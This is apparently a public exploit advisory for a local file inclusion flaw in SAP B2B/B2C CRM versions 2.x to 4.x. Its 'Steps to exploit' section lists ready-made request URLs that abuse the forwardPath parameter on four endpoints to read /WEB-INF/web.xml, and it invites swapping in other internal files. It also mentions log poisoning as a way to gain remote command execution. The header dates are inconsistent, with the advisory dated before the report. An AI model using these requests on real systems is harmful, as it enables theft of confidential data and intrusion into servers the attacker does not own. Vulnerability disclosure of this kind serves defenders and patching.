SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion

# Title: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
# Application:SAP B2B OR B2C is CRM
# Versions Affected: SAP B2B OR B2C is CRM 2.x 3.x and 4.x with Bakend R/3 (to icss_b2b)
# Vendor URL: http://SAP.com
# Bugs: SAP LFI in B2B OR B2C CRM
# Sent:  2018-05-03
# Reported:  2018-05-03
# Date of Public Advisory: 2018-02-09
# Reference: SAP Security Note 1870255656
# Author: Richard Alviarez

# 1. VULNERABLE PACKAGES
# SAP LFI in B2B OR B2C CRM v2.x to 4.x
# Other versions are probably affected too, but they were not checked.

# 2. TECHNICAL DESCRIPTION
# A possible attacker can take advantage of this vulnerability 
# to obtain confidential information of the platform, 
# as well as the possibility of writing in the logs of the
# registry in order to get remote execution of commands and take control of the system.


# 3. Steps to exploit this vulnerability

A. Open
https://SAP/{name}_b2b/initProductCatalog.do?forwardPath=/WEB-INF/web.xml

Other vulnerable parameters:

https://SAP/{name}_b2b/CatalogClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/IbaseSearchClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/ForwardDynamic.do?forwardPath=/WEB-INF/web.xml
page on SAP server

B. Change parameter {name} for example icss_b2b or other name....

C. Change "/WEB-INF/web.xml" for other files or archives internal.


# 4. Collaborators
# - CuriositySec
# - aDoN90
# - Vis0r